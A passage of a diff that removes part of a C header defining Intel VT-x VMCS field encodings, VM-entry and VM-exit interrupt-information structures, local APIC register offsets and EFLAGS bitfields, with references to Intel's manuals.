*/ -#define VMCS_CTRL_EXECUTIVE_VMCS_POINTER 0x0000200C - - /** - * PML address. - */ -#define VMCS_CTRL_PML_ADDRESS 0x0000200E - - /** - * TSC offset. - */ -#define VMCS_CTRL_TSC_OFFSET 0x00002010 - - /** - * Virtual-APIC address. - */ -#define VMCS_CTRL_VIRTUAL_APIC_ADDRESS 0x00002012 - - /** - * APIC-access address. - */ -#define VMCS_CTRL_APIC_ACCESS_ADDRESS 0x00002014 - - /** - * Posted-interrupt descriptor address - */ -#define VMCS_CTRL_POSTED_INTERRUPT_DESCRIPTOR_ADDRESS 0x00002016 - - /** - * VM-function controls. - */ -#define VMCS_CTRL_VMFUNC_CONTROLS 0x00002018 - - /** - * EPT pointer. - */ -#define VMCS_CTRL_EPT_POINTER 0x0000201A - - /** - * EOI-exit bitmap 0. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_0 0x0000201C - - /** - * EOI-exit bitmap 1. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_1 0x0000201E - - /** - * EOI-exit bitmap 2. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_2 0x00002020 - - /** - * EOI-exit bitmap 3. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_3 0x00002022 - - /** - * EPTP-list address. - */ -#define VMCS_CTRL_EPT_POINTER_LIST_ADDRESS 0x00002024 - - /** - * VMREAD-bitmap address. - */ -#define VMCS_CTRL_VMREAD_BITMAP_ADDRESS 0x00002026 - - /** - * VMWRITE-bitmap address. - */ -#define VMCS_CTRL_VMWRITE_BITMAP_ADDRESS 0x00002028 - - /** - * Virtualization-exception information address. - */ -#define VMCS_CTRL_VIRTUALIZATION_EXCEPTION_INFORMATION_ADDRESS 0x0000202A - - /** - * XSS-exiting bitmap. - */ -#define VMCS_CTRL_XSS_EXITING_BITMAP 0x0000202C - - /** - * ENCLS-exiting bitmap. - */ -#define VMCS_CTRL_ENCLS_EXITING_BITMAP 0x0000202E - - /** - * TSC multiplier. - */ -#define VMCS_CTRL_TSC_MULTIPLIER 0x00002032 - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit_read_only_data_fields \ - * 64-Bit Read-Only Data Field - * - * 64-Bit Read-Only Data Field. - * @{ - */ - /** - * Guest-physical address. - */ -#define VMCS_GUEST_PHYSICAL_ADDRESS 0x00002400 - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit_guest_state_fields \ - * 64-Bit Guest-State Fields - * - * 64-Bit Guest-State Fields. - * @{ - */ - /** - * VMCS link pointer. - */ -#define VMCS_GUEST_VMCS_LINK_POINTER 0x00002800 - - /** - * Guest IA32_DEBUGCTL. - */ -#define VMCS_GUEST_DEBUGCTL 0x00002802 - - /** - * Guest IA32_PAT. - */ -#define VMCS_GUEST_PAT 0x00002804 - - /** - * Guest IA32_EFER. - */ -#define VMCS_GUEST_EFER 0x00002806 - - /** - * Guest IA32_PERF_GLOBAL_CTRL. - */ -#define VMCS_GUEST_PERF_GLOBAL_CTRL 0x00002808 - - /** - * Guest PDPTE0. - */ -#define VMCS_GUEST_PDPTE0 0x0000280A - - /** - * Guest PDPTE1. - */ -#define VMCS_GUEST_PDPTE1 0x0000280C - - /** - * Guest PDPTE2. - */ -#define VMCS_GUEST_PDPTE2 0x0000280E - - /** - * Guest PDPTE3. - */ -#define VMCS_GUEST_PDPTE3 0x00002810 - - /** - * Guest IA32_BNDCFGS. - */ -#define VMCS_GUEST_BNDCFGS 0x00002812 - - /** - * Guest IA32_RTIT_CTL. - */ -#define VMCS_GUEST_RTIT_CTL 0x00002814 - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit_host_state_fields \ - * 64-Bit Host-State Fields - * - * 64-Bit Host-State Fields. - * @{ - */ - /** - * Host IA32_PAT. - */ -#define VMCS_HOST_PAT 0x00002C00 - - /** - * Host IA32_EFER. - */ -#define VMCS_HOST_EFER 0x00002C02 - - /** - * Host IA32_PERF_GLOBAL_CTRL. - */ -#define VMCS_HOST_PERF_GLOBAL_CTRL 0x00002C04 - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit \ - * 32-Bit Fields - * - * 32-Bit Fields. - * - * @see Vol3D[B.3(32-BIT FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_32_bit_control_fields \ - * 32-Bit Control Fields - * - * 32-Bit Control Fields. - * @{ - */ - /** - * Pin-based VM-execution controls. - */ -#define VMCS_CTRL_PIN_BASED_VM_EXECUTION_CONTROLS 0x00004000 - - /** - * Primary processor-based VM-execution controls. - */ -#define VMCS_CTRL_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x00004002 - - /** - * Exception bitmap. - */ -#define VMCS_CTRL_EXCEPTION_BITMAP 0x00004004 - - /** - * Page-fault error-code mask. - */ -#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MASK 0x00004006 - - /** - * Page-fault error-code match. - */ -#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MATCH 0x00004008 - - /** - * CR3-target count. - */ -#define VMCS_CTRL_CR3_TARGET_COUNT 0x0000400A - - /** - * VM-exit controls. - */ -#define VMCS_CTRL_VMEXIT_CONTROLS 0x0000400C - - /** - * VM-exit MSR-store count. - */ -#define VMCS_CTRL_VMEXIT_MSR_STORE_COUNT 0x0000400E - - /** - * VM-exit MSR-load count. - */ -#define VMCS_CTRL_VMEXIT_MSR_LOAD_COUNT 0x00004010 - - /** - * VM-entry controls. - */ -#define VMCS_CTRL_VMENTRY_CONTROLS 0x00004012 - - /** - * VM-entry MSR-load count. - */ -#define VMCS_CTRL_VMENTRY_MSR_LOAD_COUNT 0x00004014 - - /** - * VM-entry interruption-information field. - */ -#define VMCS_CTRL_VMENTRY_INTERRUPTION_INFORMATION_FIELD 0x00004016 - - /** - * VM-entry exception error code. - */ -#define VMCS_CTRL_VMENTRY_EXCEPTION_ERROR_CODE 0x00004018 - - /** - * VM-entry instruction length. - */ -#define VMCS_CTRL_VMENTRY_INSTRUCTION_LENGTH 0x0000401A - - /** - * TPR threshold. - */ -#define VMCS_CTRL_TPR_THRESHOLD 0x0000401C - - /** - * Secondary processor-based VM-execution controls. - */ -#define VMCS_CTRL_SECONDARY_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x0000401E - - /** - * PLE_Gap. - */ -#define VMCS_CTRL_PLE_GAP 0x00004020 - - /** - * PLE_Window. - */ -#define VMCS_CTRL_PLE_WINDOW 0x00004022 - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit_read_only_data_fields \ - * 32-Bit Read-Only Data Fields - * - * 32-Bit Read-Only Data Fields. - * @{ - */ - /** - * VM-instruction error. - */ -#define VMCS_VM_INSTRUCTION_ERROR 0x00004400 - - /** - * Exit reason. - */ -#define VMCS_EXIT_REASON 0x00004402 - - /** - * VM-exit interruption information. - */ -#define VMCS_VMEXIT_INTERRUPTION_INFORMATION 0x00004404 - - /** - * VM-exit interruption error code. - */ -#define VMCS_VMEXIT_INTERRUPTION_ERROR_CODE 0x00004406 - - /** - * IDT-vectoring information field. - */ -#define VMCS_IDT_VECTORING_INFORMATION 0x00004408 - - /** - * IDT-vectoring error code. - */ -#define VMCS_IDT_VECTORING_ERROR_CODE 0x0000440A - - /** - * VM-exit instruction length. - */ -#define VMCS_VMEXIT_INSTRUCTION_LENGTH 0x0000440C - - /** - * VM-exit instruction information. - */ -#define VMCS_VMEXIT_INSTRUCTION_INFO 0x0000440E - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit_guest_state_fields \ - * 32-Bit Guest-State Fields - * - * 32-Bit Guest-State Fields. - * @{ - */ - /** - * Guest ES limit. - */ -#define VMCS_GUEST_ES_LIMIT 0x00004800 - - /** - * Guest CS limit. - */ -#define VMCS_GUEST_CS_LIMIT 0x00004802 - - /** - * Guest SS limit. - */ -#define VMCS_GUEST_SS_LIMIT 0x00004804 - - /** - * Guest DS limit. - */ -#define VMCS_GUEST_DS_LIMIT 0x00004806 - - /** - * Guest FS limit. - */ -#define VMCS_GUEST_FS_LIMIT 0x00004808 - - /** - * Guest GS limit. - */ -#define VMCS_GUEST_GS_LIMIT 0x0000480A - - /** - * Guest LDTR limit. - */ -#define VMCS_GUEST_LDTR_LIMIT 0x0000480C - - /** - * Guest TR limit. - */ -#define VMCS_GUEST_TR_LIMIT 0x0000480E - - /** - * Guest GDTR limit. - */ -#define VMCS_GUEST_GDTR_LIMIT 0x00004810 - - /** - * Guest IDTR limit. - */ -#define VMCS_GUEST_IDTR_LIMIT 0x00004812 - - /** - * Guest ES access rights. - */ -#define VMCS_GUEST_ES_ACCESS_RIGHTS 0x00004814 - - /** - * Guest CS access rights. - */ -#define VMCS_GUEST_CS_ACCESS_RIGHTS 0x00004816 - - /** - * Guest SS access rights. - */ -#define VMCS_GUEST_SS_ACCESS_RIGHTS 0x00004818 - - /** - * Guest DS access rights. - */ -#define VMCS_GUEST_DS_ACCESS_RIGHTS 0x0000481A - - /** - * Guest FS access rights. - */ -#define VMCS_GUEST_FS_ACCESS_RIGHTS 0x0000481C - - /** - * Guest GS access rights. - */ -#define VMCS_GUEST_GS_ACCESS_RIGHTS 0x0000481E - - /** - * Guest LDTR access rights. - */ -#define VMCS_GUEST_LDTR_ACCESS_RIGHTS 0x00004820 - - /** - * Guest TR access rights. - */ -#define VMCS_GUEST_TR_ACCESS_RIGHTS 0x00004822 - - /** - * Guest interruptibility state. - */ -#define VMCS_GUEST_INTERRUPTIBILITY_STATE 0x00004824 - - /** - * Guest activity state. - */ -#define VMCS_GUEST_ACTIVITY_STATE 0x00004826 - - /** - * Guest SMBASE. - */ -#define VMCS_GUEST_SMBASE 0x00004828 - - /** - * Guest IA32_SYSENTER_CS. - */ -#define VMCS_GUEST_SYSENTER_CS 0x0000482A - - /** - * VMX-preemption timer value. - */ -#define VMCS_GUEST_VMX_PREEMPTION_TIMER_VALUE 0x0000482E - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit_host_state_fields \ - * 32-Bit Host-State Field - * - * 32-Bit Host-State Field. - * @{ - */ - /** - * Host IA32_SYSENTER_CS. - */ -#define VMCS_HOST_SYSENTER_CS 0x00004C00 - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width \ - * Natural-Width Fields - * - * Natural-Width Fields. - * - * @see Vol3D[B.4(NATURAL-WIDTH FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_natural_width_control_fields \ - * Natural-Width Control Fields - * - * Natural-Width Control Fields - * @{ - */ - /** - * CR0 guest/host mask. - */ -#define VMCS_CTRL_CR0_GUEST_HOST_MASK 0x00006000 - - /** - * CR4 guest/host mask. - */ -#define VMCS_CTRL_CR4_GUEST_HOST_MASK 0x00006002 - - /** - * CR0 read shadow. - */ -#define VMCS_CTRL_CR0_READ_SHADOW 0x00006004 - - /** - * CR4 read shadow. - */ -#define VMCS_CTRL_CR4_READ_SHADOW 0x00006006 - - /** - * CR3-target value 0. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_0 0x00006008 - - /** - * CR3-target value 1. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_1 0x0000600A - - /** - * CR3-target value 2. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_2 0x0000600C - - /** - * CR3-target value 3. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_3 0x0000600E - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width_read_only_data_fields \ - * Natural-Width Read-Only Data Fields - * - * Natural-Width Read-Only Data Fields. - * @{ - */ - /** - * Exit qualification. - */ -#define VMCS_EXIT_QUALIFICATION 0x00006400 - - /** - * I/O RCX. - */ -#define VMCS_IO_RCX 0x00006402 - - /** - * I/O RSI. - */ -#define VMCS_IO_RSX 0x00006404 - - /** - * I/O RDI. - */ -#define VMCS_IO_RDI 0x00006406 - - /** - * I/O RIP. - */ -#define VMCS_IO_RIP 0x00006408 - - /** - * Guest-linear address. - */ -#define VMCS_EXIT_GUEST_LINEAR_ADDRESS 0x0000640A - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width_guest_state_fields \ - * Natural-Width Guest-State Fields - * - * Natural-Width Guest-State Fields. - * @{ - */ - /** - * Guest CR0. - */ -#define VMCS_GUEST_CR0 0x00006800 - - /** - * Guest CR3. - */ -#define VMCS_GUEST_CR3 0x00006802 - - /** - * Guest CR4. - */ -#define VMCS_GUEST_CR4 0x00006804 - - /** - * Guest ES base. - */ -#define VMCS_GUEST_ES_BASE 0x00006806 - - /** - * Guest CS base. - */ -#define VMCS_GUEST_CS_BASE 0x00006808 - - /** - * Guest SS base. - */ -#define VMCS_GUEST_SS_BASE 0x0000680A - - /** - * Guest DS base. - */ -#define VMCS_GUEST_DS_BASE 0x0000680C - - /** - * Guest FS base. - */ -#define VMCS_GUEST_FS_BASE 0x0000680E - - /** - * Guest GS base. - */ -#define VMCS_GUEST_GS_BASE 0x00006810 - - /** - * Guest LDTR base. - */ -#define VMCS_GUEST_LDTR_BASE 0x00006812 - - /** - * Guest TR base. - */ -#define VMCS_GUEST_TR_BASE 0x00006814 - - /** - * Guest GDTR base. - */ -#define VMCS_GUEST_GDTR_BASE 0x00006816 - - /** - * Guest IDTR base. - */ -#define VMCS_GUEST_IDTR_BASE 0x00006818 - - /** - * Guest DR7. - */ -#define VMCS_GUEST_DR7 0x0000681A - - /** - * Guest RSP. - */ -#define VMCS_GUEST_RSP 0x0000681C - - /** - * Guest RIP. - */ -#define VMCS_GUEST_RIP 0x0000681E - - /** - * Guest RFLAGS. - */ -#define VMCS_GUEST_RFLAGS 0x00006820 - - /** - * Guest pending debug exceptions. - */ -#define VMCS_GUEST_PENDING_DEBUG_EXCEPTIONS 0x00006822 - - /** - * Guest IA32_SYSENTER_ESP. - */ -#define VMCS_GUEST_SYSENTER_ESP 0x00006824 - - /** - * Guest IA32_SYSENTER_EIP. - */ -#define VMCS_GUEST_SYSENTER_EIP 0x00006826 - - /** - * Guest IA32_S_CET. - */ -#define VMCS_GUEST_S_CET 0x00006C28 - - /** - * Guest SSP. - */ -#define VMCS_GUEST_SSP 0x00006C2A - - /** - * Guest IA32_INTERRUPT_SSP_TABLE_ADDR. - */ -#define VMCS_GUEST_INTERRUPT_SSP_TABLE_ADDR 0x00006C2C - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width_host_state_fields \ - * Natural-Width Host-State Fields - * - * Natural-Width Host-State Fields. - * @{ - */ - /** - * Host CR0. - */ -#define VMCS_HOST_CR0 0x00006C00 - - /** - * Host CR3. - */ -#define VMCS_HOST_CR3 0x00006C02 - - /** - * Host CR4. - */ -#define VMCS_HOST_CR4 0x00006C04 - - /** - * Host FS base. - */ -#define VMCS_HOST_FS_BASE 0x00006C06 - - /** - * Host GS base. - */ -#define VMCS_HOST_GS_BASE 0x00006C08 - - /** - * Host TR base. - */ -#define VMCS_HOST_TR_BASE 0x00006C0A - - /** - * Host GDTR base. - */ -#define VMCS_HOST_GDTR_BASE 0x00006C0C - - /** - * Host IDTR base. - */ -#define VMCS_HOST_IDTR_BASE 0x00006C0E - - /** - * Host IA32_SYSENTER_ESP. - */ -#define VMCS_HOST_SYSENTER_ESP 0x00006C10 - - /** - * Host IA32_SYSENTER_EIP. - */ -#define VMCS_HOST_SYSENTER_EIP 0x00006C12 - - /** - * Host RSP. - */ -#define VMCS_HOST_RSP 0x00006C14 - - /** - * Host RIP. - */ -#define VMCS_HOST_RIP 0x00006C16 - - /** - * Host IA32_S_CET. - */ -#define VMCS_HOST_S_CET 0x00006C18 - - /** - * Host SSP. - */ -#define VMCS_HOST_SSP 0x00006C1A - - /** - * Host IA32_INTERRUPT_SSP_TABLE_ADDR. - */ -#define VMCS_HOST_INTERRUPT_SSP_TABLE_ADDR 0x00006C1C - /** - * @} - */ - - /** - * @} - */ - - /** - * @} - */ - - /** - * @brief Valid interruption types - */ -typedef enum -{ - /** - * External interrupt. - */ - external_interrupt = 0x00000000, - - /** - * Non-maskable interrupt (NMI). - */ - non_maskable_interrupt = 0x00000002, - - /** - * Hardware exception (e.g,. \#PF). - */ - hardware_exception = 0x00000003, - - /** - * Software interrupt (INT n). - */ - software_interrupt = 0x00000004, - - /** - * Privileged software exception (INT1). - */ - privileged_software_exception = 0x00000005, - - /** - * Software exception (INT3 or INTO). - */ - software_exception = 0x00000006, - - /** - * Other event. This type is used for injection of events that are not delivered through the IDT. - */ - other_event = 0x00000007, -} interruption_type; - -/** - * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs - * have been loaded). This process is called event injection and is controlled by these VM-entry control fields - * - * @see Vol3A[24.8.3(VM-Entry Controls for Event Injection)] (reference) - */ -typedef union -{ - struct - { - /** - * @brief Vector of interrupt or exception - * - * [Bits 7:0] Determines which entry in the IDT is used or which other event is injected. - */ - uint32_t vector : 8; -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_BIT 0 -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) - - /** - * @brief Interruption type - * - * [Bits 10:8] Determines details of how the injection is performed. - */ - uint32_t interruption_type : 3; -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) - - /** - * @brief Deliver error code (0 = do not deliver; 1 = deliver) - * - * [Bit 11] Determines whether delivery pushes an error code on the guest stack. - */ - uint32_t deliver_error_code : 1; -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_BIT 11 -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_FLAG 0x800 -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_MASK 0x01 -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE(_) (((_) >> 11) & 0x01) - uint32_t reserved1 : 19; - - /** - * @brief Valid - * - * [Bit 31] VM entry injects an event if and only if the valid bit is 1. The valid bit in this field is cleared on every VM - * exit. - */ - uint32_t valid : 1; -#define VMENTRY_INTERRUPT_INFORMATION_VALID_BIT 31 -#define VMENTRY_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 -#define VMENTRY_INTERRUPT_INFORMATION_VALID_MASK 0x01 -#define VMENTRY_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; -} vmentry_interrupt_information; - -/** - * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs - * have been loaded). This process is called event injection and is controlled by these VM-entry control fields - * - * @see Vol3A[24.9.2(Information for VM Exits Due to Vectored Events)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 7:0] Vector of interrupt or exception. - */ - uint32_t vector : 8; -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_BIT 0 -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 10:8] Interruption type. - */ - uint32_t interruption_type : 3; -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) - - /** - * [Bit 11] Deliver error code (0 = do not deliver; 1 = deliver). - */ - uint32_t error_code_valid : 1; -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_BIT 11 -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_FLAG 0x800 -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_MASK 0x01 -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] NMI unblocking due to IRET. - */ - uint32_t nmi_unblocking : 1; -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_BIT 12 -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_FLAG 0x1000 -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_MASK 0x01 -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) - uint32_t reserved1 : 18; - - /** - * [Bit 31] Valid. - */ - uint32_t valid : 1; -#define VMEXIT_INTERRUPT_INFORMATION_VALID_BIT 31 -#define VMEXIT_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 -#define VMEXIT_INTERRUPT_INFORMATION_VALID_MASK 0x01 -#define VMEXIT_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; -} vmexit_interrupt_information; - -/** - * @} - */ - - /** - * @defgroup apic \ - * Advanced Programmable Interrupt Controller (APIC) - * - * Software interacts with the local APIC by reading and writing its registers. APIC registers are memory-mapped to a - * 4-KByte region of the processor's physical address space with an initial starting address of FEE00000H. For correct APIC - * operation, this address space must be mapped to an area of memory that has been designated as strong uncacheable (UC). - * - * @remarks Registers are 32 bits, 64 bits, or 256 bits in width; all are aligned on 128-bit boundaries. All 32-bit - * registers should be accessed using 128-bit aligned 32-bit loads or stores. Some processors may support loads and stores - * of less than 32 bits to some of the APIC registers. This is model specific behavior and is not guaranteed to work on all - * processors. Any FP/MMX/SSE access to an APIC register, or any access that touches bytes 4 through 15 of an APIC register - * may cause undefined behavior and must not be executed. This undefined behavior could include hangs, incorrect results or - * unexpected exceptions, including machine checks, and may vary between implementations. Wider registers (64-bit or - * 256-bit) must be accessed using multiple 32-bit loads or stores, with all accesses being 128-bit aligned. - * @see Vol3A[10.4.1(The Local APIC Block Diagram)] (reference) - * @{ - */ - /** - * Local APIC Base Address. - * - * @remarks Reserved. - */ -#define APIC_BASE_ADDRESS 0xFEE00000 - - /** - * Local APIC ID Register. - */ -#define APIC_ID 0x00000020 - - /** - * Local APIC Version Register. - */ -#define APIC_VERSION 0x00000030 - - /** - * Task Priority Register (TPR). - */ -#define APIC_TASK_PRIORITY 0x00000080 - - /** - * Arbitration Priority Register (APR). - */ -#define APIC_ARBITRATION_PRIORITY 0x00000090 - - /** - * Processor Priority Register (PPR). - */ -#define APIC_PROCESSOR_PRIORITY 0x000000A0 - - /** - * EOI Register. - */ -#define APIC_EOI 0x000000B0 - - /** - * Remote Read Register (RRD). - */ -#define APIC_REMOTE_READ 0x000000C0 - - /** - * Logical Destination Register. - */ -#define APIC_LOGICAL_DESTINATION 0x000000D0 - - /** - * Destination Format Register. - * - * @see Vol3A[10.6.2.2(Logical Destination Mode)] - */ -#define APIC_DESTINATION_FORMAT 0x000000E0 - - /** - * Spurious Interrupt Vector Register. - * - * @see Vol3A[10.9(SPURIOUS INTERRUPT)] - */ -#define APIC_SPURIOUS_INTERRUPT_VECTOR 0x000000F0 - - /** - * In-Service Register (ISR); bits 31:0. - */ -#define APIC_IN_SERVICE_BITS_31_0 0x00000100 - - /** - * In-Service Register (ISR); bits 63:32. - */ -#define APIC_IN_SERVICE_BITS_63_32 0x00000110 - - /** - * In-Service Register (ISR); bits 95:64. - */ -#define APIC_IN_SERVICE_BITS_95_64 0x00000120 - - /** - * In-Service Register (ISR); bits 127:96. - */ -#define APIC_IN_SERVICE_BITS_127_96 0x00000130 - - /** - * In-Service Register (ISR); bits 159:128. - */ -#define APIC_IN_SERVICE_BITS_159_128 0x00000140 - - /** - * In-Service Register (ISR); bits 191:160. - */ -#define APIC_IN_SERVICE_BITS_191_160 0x00000150 - - /** - * In-Service Register (ISR); bits 223:192. - */ -#define APIC_IN_SERVICE_BITS_223_192 0x00000160 - - /** - * In-Service Register (ISR); bits 255:224. - */ -#define APIC_IN_SERVICE_BITS_255_224 0x00000170 - - /** - * Trigger Mode Register (TMR); bits 31:0. - */ -#define APIC_TRIGGER_MODE_BITS_31_0 0x00000180 - - /** - * Trigger Mode Register (TMR); bits 63:32. - */ -#define APIC_TRIGGER_MODE_BITS_63_32 0x00000190 - - /** - * Trigger Mode Register (TMR); bits 95:64. - */ -#define APIC_TRIGGER_MODE_BITS_95_64 0x000001A0 - - /** - * Trigger Mode Register (TMR); bits 127:96. - */ -#define APIC_TRIGGER_MODE_BITS_127_96 0x000001B0 - - /** - * Trigger Mode Register (TMR); bits 159:128. - */ -#define APIC_TRIGGER_MODE_BITS_159_128 0x000001C0 - - /** - * Trigger Mode Register (TMR); bits 191:160. - */ -#define APIC_TRIGGER_MODE_BITS_191_160 0x000001D0 - - /** - * Trigger Mode Register (TMR); bits 223:192. - */ -#define APIC_TRIGGER_MODE_BITS_223_192 0x000001E0 - - /** - * Trigger Mode Register (TMR); bits 255:224. - */ -#define APIC_TRIGGER_MODE_BITS_255_224 0x000001F0 - - /** - * Interrupt Request Register (IRR); bits 31:0. - */ -#define APIC_INTERRUPT_REQUEST_BITS_31_0 0x00000200 - - /** - * Interrupt Request Register (IRR); bits 63:32. - */ -#define APIC_INTERRUPT_REQUEST_BITS_63_32 0x00000210 - - /** - * Interrupt Request Register (IRR); bits 95:64. - */ -#define APIC_INTERRUPT_REQUEST_BITS_95_64 0x00000220 - - /** - * Interrupt Request Register (IRR); bits 127:96. - */ -#define APIC_INTERRUPT_REQUEST_BITS_127_96 0x00000230 - - /** - * Interrupt Request Register (IRR); bits 159:128. - */ -#define APIC_INTERRUPT_REQUEST_BITS_159_128 0x00000240 - - /** - * Interrupt Request Register (IRR); bits 191:160. - */ -#define APIC_INTERRUPT_REQUEST_BITS_191_160 0x00000250 - - /** - * Interrupt Request Register (IRR); bits 223:192. - */ -#define APIC_INTERRUPT_REQUEST_BITS_223_192 0x00000260 - - /** - * Interrupt Request Register (IRR); bits 255:224. - */ -#define APIC_INTERRUPT_REQUEST_BITS_255_224 0x00000270 - - /** - * Error Status Register. - */ -#define APIC_ERROR_STATUS 0x00000280 - - /** - * LVT Corrected Machine Check Interrupt (CMCI) Register. - */ -#define APIC_LVT_CORRECTED_MACHINE_CHECK_INTERRUPT 0x000002F0 - - /** - * Interrupt Command Register (ICR); bits 0-31. - */ -#define APIC_INTERRUPT_COMMAND_BITS_0_31 0x00000300 - - /** - * Interrupt Command Register (ICR); bits 32-63. - */ -#define APIC_INTERRUPT_COMMAND_BITS_32_63 0x00000310 - - /** - * LVT Timer Register. - */ -#define APIC_LVT_TIMER 0x00000320 - - /** - * LVT Thermal Sensor Register. - */ -#define APIC_LVT_THERMAL_SENSOR 0x00000330 - - /** - * LVT Performance Monitoring Counters Register. - */ -#define APIC_LVT_PERFORMANCE_MONITORING_COUNTERS 0x00000340 - - /** - * LVT LINT0 Register. - */ -#define APIC_LVT_LINT0 0x00000350 - - /** - * LVT LINT1 Register. - */ -#define APIC_LVT_LINT1 0x00000360 - - /** - * LVT Error Register. - */ -#define APIC_LVT_ERROR 0x00000370 - - /** - * Initial Count Register (for Timer). - */ -#define APIC_INITIAL_COUNT 0x00000380 - - /** - * Current Count Register (for Timer). - */ -#define APIC_CURRENT_COUNT 0x00000390 - - /** - * Divide Configuration Register (for Timer). - */ -#define APIC_DIVIDE_CONFIGURATION 0x000003E0 - /** - * @} - */ - - /** - * The 32-bit EFLAGS register contains a group of status flags, a control flag, and a group of system flags. The status - * flags (bits 0, 2, 4, 6, 7, and 11) of the EFLAGS register indicate the results of arithmetic instructions, such as the - * ADD, SUB, MUL, and DIV instructions. - * The system flags and IOPL field in the EFLAGS register control operating-system or executive operations. - * - * @see Vol1[3.4.3(EFLAGS)] (reference) - */ -typedef union -{ - struct - { - /** - * @brief Carry flag - * - * [Bit 0] Set if an arithmetic operation generates a carry or a borrow out of the mostsignificant bit of the result; - * cleared otherwise. This flag indicates an overflow condition for unsigned-integer arithmetic. It is also used in - * multiple-precision arithmetic. - */ - uint32_t carry_flag : 1; -#define EFLAGS_CARRY_FLAG_BIT 0 -#define EFLAGS_CARRY_FLAG_FLAG 0x01 -#define EFLAGS_CARRY_FLAG_MASK 0x01 -#define EFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Reserved - always 1 - */ - uint32_t read_as_1 : 1; -#define EFLAGS_READ_AS_1_BIT 1 -#define EFLAGS_READ_AS_1_FLAG 0x02 -#define EFLAGS_READ_AS_1_MASK 0x01 -#define EFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) - - /** - * @brief Parity flag - * - * [Bit 2] Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise. - */ - uint32_t parity_flag : 1; -#define EFLAGS_PARITY_FLAG_BIT 2 -#define EFLAGS_PARITY_FLAG_FLAG 0x04 -#define EFLAGS_PARITY_FLAG_MASK 0x01 -#define EFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 1; - - /** - * @brief Auxiliary Carry flag - * - * [Bit 4] Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result; cleared otherwise. This - * flag is used in binary-coded decimal (BCD) arithmetic. - */ - uint32_t auxiliary_carry_flag : 1; -#define EFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 -#define EFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 -#define 